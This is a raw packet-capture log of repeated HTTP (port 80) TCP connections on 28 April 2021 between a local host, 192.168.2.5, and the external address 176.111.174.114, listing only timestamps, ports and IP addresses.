Apr 28, 2021 23:24:45.514312983 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514348030 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514365911 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514379978 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514461994 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.514507055 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.514928102 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514949083 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514966011 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.514981031 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.515006065 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.515039921 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.515841961 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.515902996 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.530134916 CEST	50266	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.531676054 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.614506006 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614537001 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614552021 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614569902 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614634037 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.614681959 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.614923000 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614943981 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614960909 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.614975929 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.615016937 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.615086079 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.616843939 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.616873026 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.616975069 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.617012978 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.628560066 CEST	80	50266	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.628668070 CEST	50266	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.632482052 CEST	80	50268	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.632592916 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.635431051 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.714442968 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714473963 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714490891 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714507103 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714576006 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.714667082 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.714766026 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714782000 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.714947939 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.714998007 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.715013981 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.715029955 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.715040922 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.715111017 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.715151072 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.715214014 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.715297937 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.716680050 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.716697931 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.737365961 CEST	80	50268	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.742475986 CEST	80	50268	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.742567062 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.816448927 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.816472054 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.816479921 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817372084 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817401886 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817415953 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817424059 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817431927 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817440033 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817447901 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817459106 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817466021 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817542076 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.817723989 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.820111990 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.827944994 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.888834953 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.890110016 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.927959919 CEST	80	50267	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.928200960 CEST	50267	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.990248919 CEST	80	50268	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.990350008 CEST	50268	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.990394115 CEST	80	50269	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:45.990478039 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:45.999603033 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.098726988 CEST	80	50269	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.102467060 CEST	80	50269	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.102547884 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.220844984 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.222064018 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.320003986 CEST	80	50269	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.321810961 CEST	80	50271	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.324110031 CEST	50269	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.324239969 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.325448036 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.425626993 CEST	80	50271	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.429265976 CEST	80	50271	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.430108070 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.549709082 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.551214933 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.651392937 CEST	80	50272	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.651424885 CEST	80	50271	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.651582956 CEST	50271	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.651628971 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.652118921 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.751044035 CEST	80	50272	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.755338907 CEST	80	50272	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.759166956 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.894553900 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.896218061 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.989403009 CEST	80	50273	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.990144014 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.990986109 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:46.992276907 CEST	80	50272	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:46.994270086 CEST	50272	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.084069014 CEST	80	50273	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.088200092 CEST	80	50273	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.092174053 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.221966982 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.223174095 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.315126896 CEST	80	50273	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.317226887 CEST	50273	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.320910931 CEST	80	50274	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.321055889 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.328915119 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.426855087 CEST	80	50274	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.431128025 CEST	80	50274	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.440551043 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.564766884 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.565777063 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.662688017 CEST	80	50274	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.663985968 CEST	50274	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.665641069 CEST	80	50276	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.665977955 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.669349909 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.769186974 CEST	80	50276	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.773642063 CEST	80	50276	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.773824930 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.893265009 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.895178080 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.988493919 CEST	80	50277	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.988898993 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.992191076 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:47.992985964 CEST	80	50276	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:47.993550062 CEST	50276	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.085485935 CEST	80	50277	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.088967085 CEST	80	50277	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.089967966 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.211071968 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.212086916 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.304603100 CEST	80	50277	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.304788113 CEST	50277	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.313822985 CEST	80	50278	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.314205885 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.314848900 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.416521072 CEST	80	50278	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.420365095 CEST	80	50278	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.424773932 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.551256895 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.552340984 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.652271986 CEST	80	50279	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.652972937 CEST	80	50278	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.654019117 CEST	50278	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.654037952 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.654745102 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.754822016 CEST	80	50279	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.758157969 CEST	80	50279	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:48.758395910 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.954922915 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:48.956218004 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.054783106 CEST	80	50279	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.055775881 CEST	80	50280	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.056998968 CEST	50279	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.057116985 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.061306953 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.162200928 CEST	80	50280	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.166228056 CEST	80	50280	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.166625023 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.273200035 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.274343014 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.371989012 CEST	80	50281	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.372600079 CEST	80	50280	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.374783039 CEST	50280	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.374867916 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.375375986 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.419857979 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.474222898 CEST	80	50281	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.477581024 CEST	80	50281	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.477708101 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.518260002 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.518358946 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.518604994 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.591573000 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.592627048 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.612463951 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.612497091 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.612577915 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.612644911 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.612740993 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.612962008 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.613128901 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.613298893 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.613312006 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.613405943 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.613703012 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.613821030 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.614089966 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.614197016 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.614284992 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.614497900 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.615196943 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.693474054 CEST	80	50281	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.693480968 CEST	80	50283	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.693572998 CEST	50281	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.693631887 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.694371939 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.706512928 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.706546068 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.706563950 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.706742048 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.706913948 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.706978083 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.707107067 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707144976 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707199097 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.707254887 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.707474947 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707494974 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707509995 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707520962 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.707571030 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.707629919 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.707686901 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.708132029 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.708246946 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.708316088 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.708373070 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.709441900 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.709585905 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.793430090 CEST	80	50283	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.797422886 CEST	80	50283	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.797487020 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800142050 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800156116 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800230980 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800307989 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800360918 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800462008 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800473928 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800484896 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800520897 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800554991 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800663948 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800678015 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800738096 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800766945 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.800816059 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.800863028 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.801006079 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801018000 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801028967 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801081896 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.801109076 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.801381111 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801469088 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.801554918 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801569939 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801656008 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.801836014 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.801901102 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.802866936 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.802886963 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.802958965 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.803000927 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.803055048 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.803174019 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.803251982 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.893861055 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.893913031 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.893939972 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.893965960 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.893990040 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894016027 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894135952 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894296885 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894328117 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894351959 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894445896 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894671917 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894709110 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894859076 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.894889116 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.895000935 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.895153046 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.895617962 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.896382093 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.896595001 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.896826029 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.896929026 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.898513079 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.898662090 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.907814980 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.909329891 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:49.994698048 CEST	80	50282	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:49.999557018 CEST	50282	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.006850958 CEST	80	50285	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.006956100 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.007488012 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.009021997 CEST	80	50283	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.009557962 CEST	50283	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.105092049 CEST	80	50285	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.109076977 CEST	80	50285	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.109328032 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.229224920 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.230932951 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.323991060 CEST	80	50285	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.324074030 CEST	50285	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.326301098 CEST	80	50287	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.328033924 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.329529047 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.425895929 CEST	80	50287	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.429277897 CEST	80	50287	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.429543018 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.546241045 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.548646927 CEST	50289	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.641881943 CEST	80	50287	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.642014027 CEST	50287	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.647923946 CEST	80	50289	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.648106098 CEST	50289	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.649044037 CEST	50289	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.748240948 CEST	80	50289	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.756278992 CEST	80	50289	176.111.174.114	192.168.2.5
Apr 28, 2021 23:24:50.757920027 CEST	50289	80	192.168.2.5	176.111.174.114
Apr 28, 2021 23:24:50.877449036 CEST	50289	80	192.168.2.5	176.111.174.114
